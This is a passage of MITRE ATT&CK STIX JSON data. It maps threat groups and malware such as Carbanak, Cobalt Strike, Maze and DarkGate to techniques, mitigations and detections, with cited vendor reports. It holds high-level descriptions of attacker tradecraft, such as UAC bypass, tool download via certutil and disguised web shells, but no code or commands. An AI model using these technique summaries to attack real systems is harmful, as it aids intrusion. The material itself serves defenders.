Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T14:55:00.172Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has started a web service in the target host and wait for the adversary to connect, acting as a web shell.(Citation: TrendMicro Tropic Trooper May 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a0748a1-7629-4afb-b089-ae068608a964","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-03-29T19:54:46.073Z","description":"[spwebmember](https://attack.mitre.org/software/S0227) is used to enumerate and dump information from Microsoft SharePoint.(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"tool--33b9e38f-103c-412d-bdcf-904a91fff1e4","target_ref":"attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6a076d46-bd2f-4572-b993-36b4c1fb25d3","created":"2022-06-09T14:53:36.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET DazzleSpy Jan 2022","description":"M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.","url":"https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T20:35:11.883Z","description":"[MacMa](https://attack.mitre.org/software/S1016) can manage remote screen sessions.(Citation: ESET DazzleSpy Jan 2022)","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a09f442-6a2a-455a-ad8d-6aa192995de3","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye CARBANAK June 2017","description":"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"}],"modified":"2020-02-11T15:55:06.489Z","description":"[Carbanak](https://attack.mitre.org/software/S0030) lists running processes.(Citation: FireEye CARBANAK June 2017)","relationship_type":"uses","source_ref":"malware--72f54d66-675d-4587-9bd3-4ed09f9522e4","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a0f3ebb-c805-402f-bb2e-aac2f8d174fa","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 3","description":"ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"}],"modified":"2019-10-15T18:00:19.404Z","description":"[Downdelph](https://attack.mitre.org/software/S0134) bypasses UAC to escalate privileges by using a custom “RedirectEXE” shim database.(Citation: ESET Sednit Part 3)","relationship_type":"uses","source_ref":"malware--08d20cd2-f084-45ee-8558-fa6ef5a18519","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6a11c7bd-61ef-4b08-bee5-856f3bd401d1","created":"2020-01-29T17:32:31.065Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-14T13:41:20.805Z","description":"Limit the number of accounts with permissions to create other accounts. Do not allow privileged accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a13bd6f-fa86-4fdd-9add-6446ef2679b0","type":"relationship","created":"2020-01-24T13:51:01.409Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/library/cc938799.aspx","description":"Microsoft. (n.d.). Customizing the Desktop. Retrieved December 5, 2017.","source_name":"TechNet Screensaver GP"}],"modified":"2020-03-23T12:23:05.068Z","description":"Use Group Policy to disable screensavers if they are unnecessary.(Citation: TechNet Screensaver GP)","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6a1693a7-1e85-48b6-9097-11339a987099","created":"2017-05-31T21:33:27.062Z","x_mitre_version":"1.0","external_references":[{"source_name":"Dell TG-3390","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018."},{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has downloaded additional malware and tools, including through the use of `certutil`, onto a compromised host .(Citation: Dell TG-3390)(Citation: Trend Micro DRBControl February 2020)","modified":"2022-04-15T13:27:52.054Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a1828c6-bba9-4285-a8af-5017b096252a","type":"relationship","created":"2021-09-30T13:20:52.138Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT QakBot April 2021","url":"https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot","description":"Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021."}],"modified":"2021-10-12T18:16:40.774Z","description":"[QakBot](https://attack.mitre.org/software/S0650) has the ability to check running processes.(Citation: ATT QakBot April 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6a1d5f07-ae99-49ea-abc0-fd8ca9ae2877","created":"2024-02-12T20:00:46.780Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T20:48:09.769Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) will terminate processes associated with several security software products if identified during execution.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a1d7178-8bad-42cc-81dd-cd74d949cede","type":"relationship","created":"2020-02-20T21:01:25.557Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-20T21:01:25.557Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6a1d81fb-2a8e-44d4-a827-9b0c5e41d078","created":"2023-10-14T08:49:15.993Z","revoked":false,"external_references":[{"source_name":"RotaJakiro 2021 netlab360 analysis","description":" Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.","url":"https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-14T08:49:15.993Z","description":"Depending on the Linux distribution and when executing with root permissions, [RotaJakiro](https://attack.mitre.org/software/S1078) may install persistence using a `.conf` file in the `/etc/init/` folder.(Citation: RotaJakiro 2021 netlab360 analysis)","relationship_type":"uses","source_ref":"malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde","target_ref":"attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a1d90c0-f103-4e7f-b462-73749407dceb","type":"relationship","created":"2022-02-09T19:46:57.209Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"store_pwd_rev_enc","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption","description":"Microsoft. (2021, October 28). Store passwords using reversible encryption. Retrieved January 3, 2022."}],"modified":"2022-02-10T22:26:34.270Z","description":"Ensure that AllowReversiblePasswordEncryption property is set to disabled unless there are application requirements.(Citation: store_pwd_rev_enc)","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a1dd165-a32a-405c-8c1b-c0a17c8ce710","type":"relationship","created":"2020-03-28T01:43:52.886Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-09-28T13:09:51.288Z","description":"Network intrusion detection and prevention systems that can identify traffic patterns indicative of AiTM activity can be used to mitigate activity at the network level.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a1ddd06-a5bd-440b-aa19-285e7370477c","type":"relationship","created":"2021-10-01T15:46:18.780Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-10-01T15:46:18.780Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has changed extensions on files containing exfiltrated data to make them appear benign, and renamed a web shell instance to appear as a legitimate OWA page.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a289837-2455-471b-81e4-b677550ab77b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 OilRig Sept 2018","description":"Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"}],"modified":"2019-04-24T23:40:23.370Z","description":"[OopsIE](https://attack.mitre.org/software/S0264) checks for information on the CPU fan, temperature, mouse, hard disk, and motherboard as part of its anti-VM checks.(Citation: Unit 42 OilRig Sept 2018)","relationship_type":"uses","source_ref":"malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6a2ade56-5413-424b-9d8e-ba91267fade7","created":"2023-03-29T21:00:33.197Z","revoked":false,"external_references":[{"source_name":"GitHub Rubeus March 2023","description":"Harmj0y. (n.d.). Rubeus. Retrieved March 29, 2023.","url":"https://github.com/GhostPack/Rubeus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-29T21:00:33.197Z","description":"[Rubeus](https://attack.mitre.org/software/S1071) can create silver tickets.(Citation: GitHub Rubeus March 2023)","relationship_type":"uses","source_ref":"tool--e33267fe-099f-4af2-8730-63d49f8813b2","target_ref":"attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6a2d3362-53f6-455b-bc1f-be9b85706a47","created":"2024-03-29T18:07:05.497Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T18:07:05.497Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--3a32740a-11b0-4bcf-b0a9-3abd0f6d3cd5","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a387a6a-2359-4ea6-ab73-9428e188d408","type":"relationship","created":"2020-01-30T17:03:43.478Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-30T17:03:43.478Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926","target_ref":"attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a3e8d7c-fdb3-4249-9f4e-7825e253bbfd","type":"relationship","created":"2020-03-13T17:48:59.195Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-09-17T19:03:35.379Z","description":"Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory C: and system directories, such as C:\\Windows\\, to reduce places where malicious files could be placed for execution. Require that all executables be placed in write-protected directories.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a4eafba-a7fb-46d1-8c50-033e1e3d7409","type":"relationship","created":"2021-03-19T21:04:00.997Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Valak July 2020","url":"https://unit42.paloaltonetworks.com/valak-evolution/","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."}],"modified":"2021-03-24T14:10:06.828Z","description":"[TA551](https://attack.mitre.org/groups/G0127) has used encoded ASCII text for initial C2 communications.(Citation: Unit 42 Valak July 2020)","relationship_type":"uses","source_ref":"intrusion-set--94873029-f950-4268-9cfd-5032e15cb182","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6a4ee5a3-9bc2-4352-856a-ae078ddc6cf2","created":"2020-11-06T18:40:38.305Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"},{"source_name":"cobaltstrike manual","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.839Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can use a custom command and control protocol that can be encapsulated in DNS. All protocols use their standard assigned ports.(Citation: cobaltstrike manual)(Citation: Talos Cobalt Strike September 2020)(Citation: Cobalt Strike Manual 4.3 November 2020)\t","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a521aa4-d389-4ef4-bd24-442d8af23333","type":"relationship","created":"2020-05-18T17:31:39.357Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Maze March 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/","description":"Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."}],"modified":"2020-06-24T01:40:07.397Z","description":"[Maze](https://attack.mitre.org/software/S0449) has forged POST strings with a random choice from a list of possibilities including \"forum\", \"php\", \"view\", etc. while making connection with the C2, hindering detection efforts.(Citation: McAfee Maze March 2020)","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a544181-839d-4db6-976b-d36e6eeecb69","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor for abnormal LDAP queries with filters for groupPolicyContainer and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed.","source_ref":"x-mitre-data-component--5c6de881-bc70-4070-855a-7a9631a407f7","target_ref":"attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a552e69-29f1-4acc-8bd2-1f32d7550443","type":"relationship","created":"2020-07-27T15:21:26.254Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."},{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}],"modified":"2020-07-27T18:45:39.533Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) has been executed via compromised installation files for legitimate software including compression applications, security software, browsers, file recovery applications, and other tools and utilities.(Citation: Talos Promethium June 2020)(Citation: Bitdefender StrongPity June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a556d19-33f1-4b6e-bec3-00ca32dd5df7","type":"relationship","created":"2021-04-06T15:53:34.893Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intezer Doki July 20","url":"https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/","description":"Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."}],"modified":"2021-04-09T13:34:37.689Z","description":"[Doki](https://attack.mitre.org/software/S0600) has downloaded scripts from C2.(Citation: Intezer Doki July 20)","relationship_type":"uses","source_ref":"malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6a56f549-3835-4f1f-8ece-fb8400f04432","created":"2023-10-03T19:20:17.900Z","revoked":false,"external_references":[{"source_name":"AsyncRAT GitHub","description":"Nyan-x-Cat. (n.d.). NYAN-x-CAT / AsyncRAT-C-Sharp. Retrieved October 3, 2023.","url":"https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/README.md"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T19:20:17.900Z","description":"[AsyncRAT](https://attack.mitre.org/software/S1087) can be configured to use dynamic DNS.(Citation: AsyncRAT GitHub)","relationship_type":"uses","source_ref":"tool--6a5947f3-1a36-4653-8734-526df3e1d28d","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6a571043-2fc3-4b88-8777-0273d50c2a66","created":"2022-07-29T19:36:46.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T23:43:07.020Z","description":"Monitor for changes made to windows registry keys or values that may delete or alter generated artifacts associated with persistence on a host system.","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a58662b-4eb1-4172-b387-13e9b574368a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DustySky","description":"ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.","url":"https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"}],"modified":"2020-05-14T15:14:33.565Z","description":"The [DustySky](https://attack.mitre.org/software/S0062) dropper uses Windows Management Instrumentation to extract information about the operating system and whether an anti-virus is active.(Citation: DustySky)","relationship_type":"uses","source_ref":"malware--687c23e4-4e25-4ee7-a870-c5e002511f54","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a5bc2dd-2132-4af0-9b12-0e781971d96c","type":"relationship","created":"2017-05-31T21:33:27.076Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf","description":"Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.","source_name":"Cymmetria 